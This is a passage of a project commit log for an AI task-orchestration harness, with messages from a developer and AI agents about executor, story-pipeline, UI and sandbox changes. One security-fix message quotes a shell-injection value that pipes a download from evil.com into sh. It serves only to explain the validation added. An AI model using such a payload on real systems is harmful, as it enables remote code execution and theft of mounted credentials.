summaryrefslogtreecommitdiff
AgeCommit message (Collapse)Author
7 daysfix(executor): support nested subtask decomposition ↵Claudomator Agent
(subtask-with-own-subtasks correctly blocks, cascades, and recovers)
7 daysdocs: add implementation plan for nested subtask completion fixPeter Stone
Piece 2a of docs/superpowers/specs/2026-07-09-recursive-arbitrated-review-design.md, discovered while grounding piece 2 in the real executor code: a subtask that itself spawns subtasks is incorrectly marked COMPLETED the instant its own agent turn ends, ignoring pending grandchildren. handleRunResult, maybeUnblockParent, and RecoverStaleBlocked all special-case "is this top-level" instead of "does this task have its own pending subtasks" -- a prerequisite bug fix the currentAttempt()/fix-loop generalization (piece 2b) depends on.
7 daysstyle: gofmt internal/executor and internal/agentloopPeter Stone
Task 2 of the task-acceptance-criteria plan copied the plan document's own misaligned struct-literal text verbatim without running gofmt afterward, newly breaking gofmt compliance on tools.go/agentmcp.go; also fixes pre-existing unrelated misalignment in channel.go/channel_test.go while touching the same files.
7 daysfeat(agentchannel,executor,agentloop): expose acceptance_criteria on ↵Claudomator Agent
spawn_subtask
7 daysfeat(task,storage): add Task.AcceptanceCriteria, mirroring story.Story's patternClaudomator Agent
7 daysdocs: add implementation plan for Task.AcceptanceCriteriaPeter Stone
Piece 1 of docs/superpowers/specs/2026-07-09-recursive-arbitrated-review-design.md's implementation order: adds the field the earlier 2026-07-08 spec incorrectly claimed already existed, and exposes it on spawn_subtask.
7 daysdocs: add design spec for recursive arbitrated review (supersedes root-only ↵Peter Stone
fix loop) Replaces the story.RootTaskID re-pointing mechanism shipped in 2026-07-09-story-fix-and-reevaluate-loop.md with a uniform currentAttempt() resolution that works identically at every depth of a story's task tree, not just the root. Also corrects the 2026-07-08 spec's incorrect claim that Task.AcceptanceCriteria already exists.
7 daysfeat(scheduler): automatically spawn and re-point a fix attempt when a story ↵Claudomator Agent
is rejected
7 daysdocs: add implementation plan for story fix-and-re-evaluate loopPeter Stone
Closes the recursive-story-decomposition design spec's "fix-and- re-evaluate loop has to become real" gap -- today NEEDS_FIX is a dead end requiring manual human intervention. Design decision (re-point story.RootTaskID at a fresh fix-attempt task, vs. spawning as a dependent of a fixed root) made with user input before writing this plan.
8 daysfeat(api): add create_story/get_story/list_stories/accept_story to chatbot MCPClaudomator Agent
8 daysrefactor(api): extract acceptStory service-layer helper, mirroring acceptTaskClaudomator Agent
8 daysdocs: add implementation plan for story-level chatbot MCP surfacePeter Stone
Scopes the "MCP surface: story-level tools, additive to what exists" piece of the recursive-story-decomposition design spec on its own, independent of the larger deferred per-node arbitrated-review generalization and builder role system-prompt work.
8 daysfeat(scheduler): finalizeArbitration consults a structured verdict instead ↵Claudomator Agent
of always routing to REVIEW_READY
8 daysfeat(agentloop,executor): expose report_verdict as a tool on both transportsClaudomator Agent
8 daystest(api): add missing ReportVerdict stub to fakeAgentChannelPeter Stone
Task 4's plan scope covered agentchannel.go/channel.go/channel_test.go but missed this second AgentChannel test double, which broke `go test ./...` (compile failure) even though `go build ./...` was clean.
8 daysfeat(agentchannel,executor): add ReportVerdict for structured approve/reject ↵Claudomator Agent
signals
8 daysfeat(event): add KindVerdictReportedClaudomator Agent
8 daysfeat(agentloop,executor): expose depends_on on the spawn_subtask toolClaudomator Agent
8 daysfeat(agentchannel): add DependsOn to SubtaskSpec so a decomposing task can ↵Claudomator Agent
order its own subtasks
8 daysdocs: add implementation plan for subtask ordering + structured verdict ↵Peter Stone
reporting Plan 1 of the recursive-story-decomposition design (see docs/superpowers/specs/2026-07-08-recursive-story-decomposition-design.md). Deliberately scoped to two small, independent, fully-groundable additions -- SubtaskSpec.DependsOn and a structured report_verdict tool closing the "arbitration never parses its own verdict" gap -- rather than attempting the full recursive orchestrator rewrite in one pass. That rewrite becomes its own plan(s) once story_orchestrator_test.go (1023 lines of existing convention) has been read in full. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD
8 daysdocs: add design spec for recursive story decompositionPeter Stone
Retro from the tasks-board build (see memory claudomator-sequential-orchestration-gap): claudomator has no native way to drive a stated intent through review-gated implementation to arbitrary depth -- that role was played by a human/chatbot controller hand-dispatching and re-dispatching all session. Design converged through several rejected drafts (a separate "chain mode" pipeline, a distinct Planner role) before landing on the actual shape: one role, one recursive decompose-or-evaluate mechanism, applied at every depth, with arbitrated multi-evaluator review running at every node instead of once at a story's outer level. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD
8 daysfix(task): reject shell metacharacters in Agent.ModelPeter Stone
Agent.Model is concatenated unescaped into a sh -c command string in ContainerRunner.buildInnerCmd (--model flag, added in the prior commit). With no validation, a value like "sonnet; curl evil.com | sh" would execute arbitrary shell code inside the task's container -- which has mounted Claude credentials and git push access. Flagged by automated security review immediately after that commit landed. Restrict to the character set real model names actually use (alphanumeric, dot, underscore, hyphen), validated at the same boundary PermissionMode already uses (task.Validate, called before a task is ever persisted or dispatched). Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD
8 daysdocs: add implementation plan for unified Tasks board (was never committed)Peter Stone
This should have been committed alongside the design spec (f626155) before task execution began. It wasn't -- every claudomator container that cloned this repo during the Tasks board build never actually had this file, since containers clone from the pushed remote, not the local working tree. Tasks dispatched with only a "read this file" instruction had nothing to read and silently improvised instead, which explains most of the review-cycle churn during that build far better than "the implementer didn't follow instructions" did. Committing now for the historical record and so the gap can't repeat for this specific file. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD
8 daysfix(executor): pass --model to the claude CLI in ContainerRunnerPeter Stone
buildInnerCmd never read t.Agent.Model when constructing the container's claude -p invocation -- every Claude-type task silently ran on the CLI's own default model regardless of what was requested via submit_task or the role-based escalation ladder. Confirmed via execution logs: every task run this session showed claude-sonnet-4-6 regardless of the model parameter passed, which only went unnoticed because sonnet was requested every time. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD
10 daysfix(web): restore running-log 300px height and close streams on card removalClaudomator Agent
CSS cascade fix: .task-log-tail.running-log combinator overrides .task-log-tail's 90px max-height for RUNNING/BLOCKED cards, restoring the intended 300px prominent log panel. Closes EventSource streams in taskLogStreams when cards are removed from the board. Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
10 daysrefactor(web): remove dead old running/queue/ready/interrupted panel code ↵Claudomator Agent
(task 8) Delete renderQueuePanel, renderInterruptedPanel, renderReadyPanel, renderRunningView, startRunningLogStream (old version), updateRunningElapsed, isRunningTabActive, and the runningViewLogSources map — all superseded by renderTasksBoard (task 7) and ensureTaskLogStream (task 6). Zero remaining callers; all 315 JS tests pass. Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
10 daysfeat(web): add renderTasksBoard and wire tasks tab into renderActiveTab (task 7)Claudomator Agent
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
10 daysfeat(web): add ensureTaskLogStream and taskLogStreams for task card log ↵Claudomator Agent
streaming (task 6) Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
10 daysfeat(web): add cardContentSignature to skip log-tail in render dedup (task 5)Claudomator Agent
Prevents renderTasksIntoContainer from tearing down and rebuilding a task card on every poll tick just because its .task-log-tail has accumulated streamed log lines. Exports cardContentSignature which walks the card element tree and returns a stable fingerprint that ignores .task-log-tail and .running-log subtrees. Also preserves the existing log-tail node across a real content-change swap so live EventSource streams survive. Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
10 daysfix(web): correct elapsed timer class/location, log-tail coverage, and tests ↵Claudomator Agent
(task 4 reviewer findings) - Move elapsed timer span from card header to after meta block; add task-elapsed class alongside running-elapsed (Finding 1) - Replace PENDING/QUEUED-only log-tail div with full if/else: placeholder div.task-log-tail-placeholder for queue states, div.task-log-tail with dataset.logTarget for all other states (Finding 2) - Delete web/test/task-card-di.test.mjs; append correct tests to web/test/tasks-board.test.mjs covering log-tail and elapsed timer contracts (Finding 3) - Thread doc parameter through createEditForm, renderSubtaskRollup, and renderQuestionFooter so createTaskCard is fully testable without a browser DOM Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
10 daysfeat(web): extend createTaskCard with DI doc param, log-tail placeholder, ↵Claudomator Agent
elapsed timer (task 4) - Export createTaskCard and add `doc = document` parameter; replace every document.createElement call inside the function with doc.createElement, enabling unit testing without a real DOM. - RUNNING tasks: append a span.running-elapsed (data-started-at, elapsed text) to the card header, consistent with renderRunningView so updateRunningElapsed() picks it up automatically. - PENDING/QUEUED tasks: append div.task-log-tail > p.task-log-placeholder ("Waiting to start…") — the queue column has no execution yet, so a placeholder is shown instead of an empty log box. - New web/test/task-card-di.test.mjs covers DI doc plumbing, placeholder presence/absence, and elapsed-timer presence/absence across states. Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
10 daysfix(web): reviewer findings on Tasks board CSS (task 3 follow-up)Claudomator Agent
- Change .tasks-column width from 300px to 220px (spec literal value) - Change .tasks-column-list max-height from 60vh to 70vh (spec literal value) - Add missing .task-log-tail and .task-log-tail-placeholder rules after .tasks-column-list Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
10 daysfeat(web): add Tasks tab nav entry point and CSS column layoutClaudomator Agent
- Add <button data-tab="tasks"> to the nav bar (between Stories and Stats) - Add <div data-panel="tasks" hidden><div class="tasks-board"></div></div> to main as the panel container for the Tasks board - Add .tasks-board, .tasks-column, .tasks-column-header, .tasks-column-count, .tasks-column-list CSS rules (mirrors .stories-* layout; 300px columns to accommodate task card content) Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
10 daysfix(web/test): update tab-persistence default-tab assertions from 'queue' to ↵Claudomator Agent
'stories' Two test assertions in tab-persistence.test.mjs were checking that the default tab is 'queue', but commit cc6b323 changed the default to 'stories' without updating this test. Updates both the assertion values and the test description strings to match current behaviour. Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
10 daysfix(web): reviewer findings on Tasks board column model (task 1)Claudomator Agent
Finding 1 (Important): replace inline per-column sort comparators in groupTasksByColumn with calls to the existing sortTasksByDate(tasks, descend) helper. The old inline code fell back to epoch 0 for missing created_at, sorting dateless tasks FIRST in ascending columns — diverging from the rest of the codebase's convention (sortTasksByDate puts them LAST). Add two new tests asserting that a task with no created_at sorts LAST in both an ascending column (queue) and a descending column (interrupted). Finding 2 (Important): revert web/test/tab-persistence.test.mjs — the two 'stories' assertions introduced in 54be094 were out of Task 1's scope and belong to Task 2. Restore the original 'queue' assertions so commit messages accurately reflect their contents; Task 2 will re-apply the fix intentionally. Finding 3 (Minor): add the missing state-list uniqueness assertion to the 'every column key is unique' test: assert.equal(new Set(allStates).size, allStates.length) so a state appearing in two columns is caught. Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
10 daysfeat(web): add Tasks board column model (TASK_COLUMNS, columnForTaskState, ↵Claudomator Agent
groupTasksByColumn) Pure logic layer for the new Tasks tab Kanban board: a 5-column partition of all 10 task states (Queue/Running/Ready/Interrupted/Done) with per-column sort directions (Queue+Ready oldest-first, Running+Interrupted+Done newest-first). Also fixes 2 pre-existing stale assertions in tab-persistence.test.mjs (default tab is 'stories', not 'queue', since cc6b323). Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
10 dayschore: gitignore subagent-driven-development scratch workspacePeter Stone
.superpowers/sdd/ holds the progress ledger, task briefs, and review packages generated while executing an implementation plan via the subagent-driven-development skill -- session-local scratch state, not project source. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD
10 daysdocs: add design spec for unified Tasks boardPeter Stone
Adds a Tasks tab (Kanban board, 5 columns: Queue/Running/Ready/ Interrupted/Done) covering all tasks regardless of story association, with inline auto-tailing execution logs on every card. Mostly a revival/generalization of UI code removed in cc6b323, plus a generalization of the existing Running-tab log-stream mechanism to every column. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD
10 daysfix: task submission context cancellation, executions success-rate calcPeter Stone
submitTask was using the inbound HTTP/MCP request context to submit work to the executor pool, so every chatbot/REST-submitted task was cancelled the moment the request returned rather than actually running. Use the server's long-lived lifecycle context instead, matching the other Submit call sites. Separately, computeExecutionStats compared execution state against a lowercase 'completed' literal while the backend always emits uppercase state values, so success rate silently read 0% for every execution. Also treat READY as success alongside COMPLETED, since a top-level task's execution lands at READY on success — COMPLETED requires a later, separate accept step. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01VTUSAEKfsPc6WGDq45yPHD
12 daysfeat(web): simplify nav to tracker board, model dashboard, drops, settings+rolesPeter Stone
Remove the old queue/interrupted/ready/running/budget/roles tabs. Keep: stories (tracker board, now the default tab), stats (model visibility dashboard), drops (file drop), settings. Role configuration moves into the Settings tab as a section below the general settings, rendered by renderSettingsPanel calling renderRolesPanel with a sub-container. renderRolesPanel now accepts an optional container parameter and uses safe DOM methods instead of innerHTML for error/empty states. Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01DNDHfCtTZDbQueEV5sUBiD
12 daysfix(storage): add ALTER TABLE migrations for stories columns added in schema ↵Peter Stone
redesign The live DB has a stories table created before the full schema was established. CREATE TABLE IF NOT EXISTS is a no-op on those DBs, so epic_id, discovery_source, spec, acceptance_criteria_json, priority, and root_task_id never landed — causing the CREATE INDEX on epic_id to fail with "no such column" on startup. Add an ALTER TABLE migration for each missing column, relying on the existing isColumnExistsError guard for idempotency on fresh DBs. Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01DNDHfCtTZDbQueEV5sUBiD
12 daysMerge pull request #5 from thepeterstone/fix/dockersandbox-gitpush-host-securityPeter Stone
fix(sandbox): run GitPush from host to fix local-remote push + harden against sandbox escape
12 daysfix(sandbox): run GitPush from host to fix local-remote push + harden ↵fix/dockersandbox-gitpush-host-securityPeter Stone
against sandbox escape DockerSandbox.GitPush was running `git push` inside the container via `docker exec`, but the origin remote URL is a host filesystem path that was never bind-mounted into the container — only hostDir is. This caused `exit status 128` in TestDockerSandbox_RealContainer_Lifecycle. Fix: run `git -C hostDir push origin -- <ref>` from the host (mirroring HostSandbox.GitPush), so local-path remotes are reachable. Two security flags prevent a compromised workspace from escaping onto the host: - `-c core.hooksPath=/dev/null` neutralises any hooks planted in .git/ - `-c protocol.ext.allow=never` blocks the ext:: pseudo-protocol Also rejects refs starting with "-" and inserts "--" before the ref to prevent argument injection. Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01DNDHfCtTZDbQueEV5sUBiD
12 daysfeat(web,api): add Budget/Roles dashboard -- final phase of the harness ↵Claude Sonnet 5
redesign (Phase 9b) Two new tabs, matching Phase 9a's conventions: Budget (per-provider spend meters, escalation funnel, spend-over-time) and Roles (version history, draft activation, readable escalation-ladder view) -- the human-facing surface for the token-husbanding value proposition and the Phase 5/8 versioned role-config system. New backend (minimal, additive, matching existing endpoint conventions -- unauthenticated like /api/budget and /api/roles/*): - internal/storage/dashboard.go: QueryEscalationFunnel (executions grouped by escalation_rung + agent, count + cost) and QuerySpendTimeseries (cost per provider bucketed hourly/daily, mirroring QueryDashboardStats' existing bucketing expressions). Documented honestly: rung 0 is not exclusively "resolved locally" -- escalation_rung defaults to 0 uniformly, so non-role-typed executions (which never climb a ladder) land there too, alongside role-typed tasks genuinely resolved at tier 0. A role-only variant would need a join against tasks.config_json with no queryable role column on executions -- intentionally out of scope. - internal/api/dashboard.go: GET /api/escalation-funnel, GET /api/spend-timeseries (both ?window=5h|24h|7d|<duration>, default 24h). - internal/storage.ListRoleNames + GET /api/roles: the "which roles exist" gap -- there was no way to discover role names before this, only to list versions for a role you already knew the name of. Chart-form decisions (dataviz skill, invoked before writing chart code): horizontal stacked bar for the escalation funnel (rung order already encodes the funnel shape positionally; color only needed for per-provider segments within each rung); multi-line for spend-over-time; a fixed-order categorical palette from the skill's validated palette.md slots for provider identity (re-validated against this app's dark surface, passing); a separate status (good/warning/critical) palette for budget meters, deliberately distinct from both --state-* and the provider palette. Caught and fixed a real bug during visual QA: converging near-zero end-labels on the spend chart were overlapping (an anti-pattern the skill explicitly flags) -- fixed with a 14px minimum-gap check before direct-labeling an endpoint, leaning on the legend/tooltip otherwise. Verified with a real running server, real seeded data (65 executions across rungs 0-2 with a realistic provider mix, 2 roles with active/draft/retired role_configs versions written directly via internal/storage), and a real headless-browser session (reusing Phase 9a's Chromium/proxy scaffinding): confirmed correct rung totals/percentages, provider legends, a 3-line spend chart, live window-selector re-render, correct active-version highlighting on the role panel, and a real Activate click on a draft version -- verified via both DOM re-render and a direct backend GET that it truly persisted. go build/vet/test -race -count=1 all pass, full suite. node --test web/test/*.mjs: 291/291 passing (16 new). Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01V1moSNCJRcP6kykA4tyUSs
12 daysfeat(web): add Stories tab -- Kanban board, epic swimlanes, story-detail DAG ↵Claude Sonnet 5
(Phase 9a) First UI work on top of the harness's 8 backend phases -- pure web/* frontend, no backend changes, keeping the existing embedded vanilla-JS convention (no build step, no framework). - Kanban board: columns spanning the full story lifecycle (DISCOVERY/FRAMING -> BACKLOG -> PRIORITIZED -> IN_PROGRESS -> VALIDATING/REVIEW_READY -> DONE), cards showing priority/acceptance-criteria count/eval-verdict progress. Drag-and-drop reorders priority within a column (persisted via a partial PUT /api/stories/{id}); cross-column drag is disabled outright (a dragover handler only preventDefault()s when the dragged card's own status already maps to that column) rather than allowed-then-snapped-back, since the latter would visibly misplace a card for several seconds until the next poll -- reads as a bug, not a feature. - Epic swimlanes: stories grouped client-side by epic_id (incl. an "Unassigned" lane) with a DONE/total progress meter per epic, built from data the board already fetches (avoids N+1 GET /api/epics/{id}/stories calls for a result that's a strict subset of the already-loaded list). - Story detail modal: metadata/spec/acceptance criteria, a BFS-layered plain- SVG DAG of the story's task-tree (rows = BFS depth from root_task_id over both parent_task_id and depends_on edges, solid vs. dashed strokes distinguishing the two edge kinds), an event timeline rendering eval_verdict/arbitration_decided/human_accepted/retro_captured/ epic_proposed with human-readable text, and an Accept button wired to POST /api/stories/{id}/accept when status is REVIEW_READY. - DAG node coloring reuses the app's existing --state-* CSS custom properties (the dataviz skill's "reserved status palette" pattern, already used elsewhere in the app) rather than introducing a new palette. Running the skill's own palette validator against that pre-existing 9-color set fails its CVD/lightness checks (a pre-existing condition, out of scope to fix here since those colors are used elsewhere in the app) -- mitigated per the skill's documented remedy for a failing palette: every node always carries a text label (name + role + state) and a full legend, so identity never depends on color alone; edge kind is encoded by stroke style, not color. Verified with a real running server and a real headless-browser session (Chromium via playwright-core, offline-cached), not just code review: seeded real data (an epic, 11 stories across every lifecycle status, a 6-node Builder->4-Evaluator->Arbitration task tree, 4 story events) via the live REST API plus two throwaway fixture scripts for the two write paths the API doesn't expose (task depends_on, direct event writes), then confirmed via screenshots/DOM assertions: correct column placement for every status, working swimlane grouping/progress meter, correct 6-node/8-edge DAG render, working event timeline, a real Accept-button API call flipping REVIEW_READY->DONE, real drag-and-drop priority persistence (re-fetched to confirm), and a genuine cross-column-drag no-op. Caught and fixed a real bug during this process: DAG node-label truncation now measures getComputedTextLength() and binary-searches the longest fit, instead of a fixed character-count budget that collapsed every "Eval: evaluator_X" label to "Eval:..." (only one space in the string). go build ./... clean; node --test web/test/*.mjs -- 275 tests pass (19 new). Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01V1moSNCJRcP6kykA4tyUSs
12 daysfeat(story,role): add retro ceremony -- closes the self-improvement loop ↵Claude Sonnet 5
(Phase 8) The final mechanism the versioned role-config model (Phase 5) was built for: when a story reaches DONE, StoryOrchestrator spawns a retro-role task that reflects on the story's full history and proposes draft role_configs versions for a human to review and activate via the existing (unchanged) POST /api/roles/{role}/activate. - AgentChannel gains a 6th method, ProposeRoleConfig(ctx, role.RoleConfig) (version, err), following ProposeEpic's precedent (Phase 7c): a structured tool call, not summary-parsing. storeChannel.ProposeRoleConfig calls the same Store.CreateRoleConfig the human-facing POST /api/roles/{role}/versions endpoint already uses (proposed_by: "retro"), landing a new draft row without touching whatever's currently active. Wired through both transports exactly like ProposeEpic: internal/agentloop/tools.go (native loop) and internal/executor/agentmcp.go (MCP). - StoryOrchestrator.Tick now routes a story at status DONE to a new processRetro stage instead of processStory -- a sibling stage, not a continuation, since the Builder->Evaluators->Arbitration chain is long settled by then. processRetro only *reads* that settled pipeline (read-only findEvaluators/findArbitration counterparts to ensureEvaluators/ensureArbitration -- it never spawns/mutates Builder-pipeline tasks) to locate the Arbitration task the retro task depends on, then spawns (idempotently -- checks for an existing retro-role dependent first) one retro-role task with instructions assembled from the story's spec/acceptance-criteria, full task tree, per- task cost/escalation history, active role_configs per role encountered, and the story's own event stream (evaluator verdicts, arbitration decision). - event.KindRetroCaptured (attached to the story's ID, matching KindEvalVerdict/KindArbitrationDecided's convention) fires once the retro task completes (auto-accepted like every other pipeline task), aggregating every event.KindRoleConfigProposed the retro task recorded (one per propose_role_config call) into {task_id, proposals: [{role, version}], summary} -- the summary is the "capturing lessons" half of this ceremony, the proposals are the versioned-config half. - Human activation is completely untouched: drafts land through the identical CreateRoleConfig/config_json path Phase 5's endpoints already handle, confirmed via existing role-endpoint tests passing unmodified. go build/vet/test -race -count=1 all pass, full suite (20 packages) -- one run hit a known, pre-existing, intermittent flake under full-suite load (unrelated to this phase's files) that did not reproduce on two immediate reruns, both in isolation and full-suite. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01V1moSNCJRcP6kykA4tyUSs
12 daysfeat(story,scheduler): add epic-proposal tool + AskUser-timeout escalation ↵Claude Sonnet 5
(Phase 7c) Two independent pieces, completing Phase 7. Epic-proposal tool: AgentChannel gains a 5th method, ProposeEpic(ctx, EpicProposal{Name, Description, StoryIDs}) (epicID, err), implemented on storeChannel -- matches an existing epic by exact name or creates one (DiscoverySource: "agent"), sets epic_id on each resolvable story (skips, doesn't fail, on an unresolved ID), emits KindEpicProposed attached to the epic's own ID with payload {epic_id, name, story_ids}. Wired into both transports exactly like Phase 6 wired role into spawn_subtask: a new propose_epic tool in the native tool-use loop (internal/agentloop/tools.go) and the MCP transport (internal/executor/agentmcp.go). This is the mechanism for a discovery/planner-role agent to act on its own judgment that several stories it's been given form one cohesive initiative -- the judgment itself lives in the calling agent's instructions/model, not in this code. AskUser-timeout escalation: extends the existing Scheduler (Phase 5's retry-then-escalate watcher) rather than adding a new component, since "stuck task needs escalation" is exactly what it already does. Finds role-typed BLOCKED tasks whose question has been outstanding longer than SchedulerConfig.AskUserTimeoutSeconds (default 10 minutes) using task.UpdatedAt as the outstanding-since timestamp -- no new column needed, since UpdateTaskQuestion already stamps it the instant a question is recorded and nothing else touches the row while BLOCKED. Resolves the next ladder tier from the latest execution's EscalationRung, records the system-authored fallback answer as an audit-trail task.Interaction, clears the question, sets the new tasks.needs_review flag, emits KindEscalated (now carrying a trigger field: "failure" vs "ask_user_timeout" for the existing failure-retry path vs this one), and resumes via Pool.SubmitResume at the escalated tier -- degrading to same-tier resume with final:true if the ladder's exhausted or no role config exists, since unblocking the task takes priority over having somewhere higher to escalate to. GET /api/tasks?needs_review=true surfaces auto-decided tasks for human review. go build/vet/test -race -count=1 all pass, full suite (20 packages), run twice to rule out flakiness in the new tests. (One pre-existing, unrelated test -- TestHandleRunTask_CascadesRetryToFailedDeps, a tempdir-cleanup race -- appeared once under full-suite load per the implementing agent's report and did not reproduce in this verification's runs either; not a regression from this work.) Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01V1moSNCJRcP6kykA4tyUSs
12 daysfeat(story): add StoryOrchestrator -- ↵Claude Sonnet 5
Builder->Evaluators->Arbitration->accept (Phase 7b) A deterministic, poll-based watcher (internal/scheduler.StoryOrchestrator, sibling to the Phase 5 Scheduler) that drives a story.Story through its execution pipeline, rather than relying on an LLM agent to correctly orchestrate its own fan-out via tool calls. Mechanism: polling, not a handleRunResult hook. Every task the orchestrator watches (a story's root/Builder task, 4 Evaluators, Arbitration) is top-level (no ParentTaskID), and executor.Pool.handleRunResult only ever lands a top-level task at READY or BLOCKED -- never COMPLETED directly, since that transition normally requires a human/chatbot POST /api/tasks/{id}/accept in a different package. A handleRunResult hook would never observe it; polling doesn't care how/whether a task reached a given state. Stages: Builder COMPLETED -> spawn 4 role-typed Evaluator tasks (evaluator_quality/security/correctness/performance, DependsOn: [builder], no ParentTaskID -- true DAG siblings, not delegated subtasks) + story -> VALIDATING. Each Evaluator COMPLETED -> emit KindEvalVerdict (attached to the story's ID, so one GET /api/stories/{id}/events call surfaces every verdict). All 4 Evaluators COMPLETED -> spawn 1 Arbitration task (role: planner, DependsOn: all 4 evaluator IDs). Arbitration COMPLETED -> emit KindArbitrationDecided, story -> REVIEW_READY. POST /api/stories/{id}/accept (mirrors handleAcceptTask) -> DONE, emits KindHumanAccepted. Fixes a gap caught before merging: since none of Builder/Evaluators/ Arbitration have a ParentTaskID, none of them auto-complete -- each would otherwise need a separate manual /api/tasks/{id}/accept, meaning 6 human clicks per story before ever reaching the intended single story-level gate. StoryOrchestrator.autoAccept now transitions each of these specific tasks READY->COMPLETED itself (via the same validated Store.UpdateTaskState path acceptTask uses), scoped only to tasks already established as part of a story's pipeline (root task, or role-matched dependents from ensureEvaluators/ensureArbitration) -- never a blanket sweep of unrelated READY tasks. This makes POST /api/stories/{id}/accept the system's only required human touchpoint for the whole chain, matching the design goal that story (not task/subtask) is the human-interaction atom. Idempotency: structural for task-creation stages (ensureEvaluators/ ensureArbitration check ListDependents for already-existing role-matched tasks before creating -- crash/restart-safe); story.Status=="VALIDATING" gates the Arbitration->REVIEW_READY write (nothing further downstream to check structurally there); an in-memory handledVerdicts set (mirrors Scheduler.handled) dedupes per-evaluator KindEvalVerdict emission across poll ticks, resetting harmlessly on restart. Documented simplification: finalizeArbitration never parses the Arbitration summary for approve/reject -- always routes to REVIEW_READY; NEEDS_FIX is manually settable via PUT /api/stories/{id}. A later phase could close this with a dedicated verdict-reporting AgentChannel method instead of parsing free text. go build/vet/test -race -count=1 all pass, full suite (20 packages). Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01V1moSNCJRcP6kykA4tyUSs
12 daysfeat(story): add Epic/Story data model + REST CRUD (Phase 7a)Claude Sonnet 5
Pure data model + CRUD -- no orchestration behavior yet (that's Phase 7b). Revives ADR-007's stories concept (adapted; ADR-007 itself was deleted as "more machinery than the usage pattern needed") while staying lean: reuses the existing events/projects/task-tree machinery rather than building a parallel hierarchy. - internal/story: Epic/Story types. Epic is a loosely-scoped initiative (OPEN/CLOSED, no execution semantics). Story is a shippable slice of work realized by a task tree rooted at root_task_id; epic_id/project_id/ root_task_id are loose references (no FK enforcement, matching the codebase's existing tolerance for unmatched reference strings like tasks.project). - storage: new epics/stories tables (additive migrations) + CRUD methods. Story status is intentionally unvalidated pass-through in this phase -- no task.ValidTransition-style state machine, since there's no orchestrator yet to make transitions meaningful. - event: 9 new Kind constants for the ceremony this layer will eventually drive (epic_proposed, discovery_proposed, framing_decided, groomed, prioritized, eval_verdict, arbitration_decided, retro_captured, human_accepted) -- defined but nothing emits them yet. - api: GET/POST /api/epics, GET/PUT /api/epics/{id}, GET /api/epics/{id}/stories, GET/POST /api/stories, GET/PUT /api/stories/{id}, and GET /api/stories/{id}/task-tree -- BFS walk from root_task_id following both parent_task_id children and depends_on-edge dependents (visited-set guarded), returning a flat node list for a later UI phase to render as a graph. Unauthenticated, matching the existing projects/tasks endpoints' posture. go build/vet/test -race -count=1 all pass, full suite. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01V1moSNCJRcP6kykA4tyUSs
13 daysfeat(executor): add DAG auto-cascade-fail + role-typed subtask spawning ↵Claude Sonnet 5
(Phase 6) Two prerequisites for safe parallel evaluator fan-out (later phase): 1. Auto-cascade-fail: previously, a failed task's dependents just sat PENDING/QUEUED forever (or until something eventually tried to dispatch them and discovered the dependency was dead). Pool.cascadeFail now fires right after a task lands in a terminal failure state (FAILED/TIMED_OUT/ CANCELLED/BUDGET_EXCEEDED, from handleRunResult, the budget-gate reject path, and the checkDepsReady dependency-failure path), recursively cancelling every not-yet-run dependent (PENDING/QUEUED only -- RUNNING and terminal states are left alone) with a message referencing the upstream failure. A visited-set guards recursion, which turned out to be load-bearing rather than defense-in-depth: task creation does not prevent dependency cycles anywhere in this codebase. Correction to an earlier assumption: internal/executor's waitForDependencies is dead code, never called. The live mechanism is checkDepsReady, invoked synchronously in execute() with a self-requeue via time.AfterFunc. Added a freshness re-check (GetTask, bail if no longer QUEUED) at the top of that block so a task cascade-cancelled while sitting in the requeue loop stops silently instead of hitting an invalid CANCELLED->CANCELLED transition or, worse, still getting dispatched. 2. storeChannel.SpawnSubtask hardcoded Agent.Type: "claude" on every spawned child regardless of what role it should play -- a hard blocker for a Planner/Builder task spawning role-typed evaluator subtasks. SubtaskSpec (internal/agentchannel) gains a Role field; when set, the child task gets Agent.Role instead of a hardcoded Type, so Phase 5's role-resolution picks 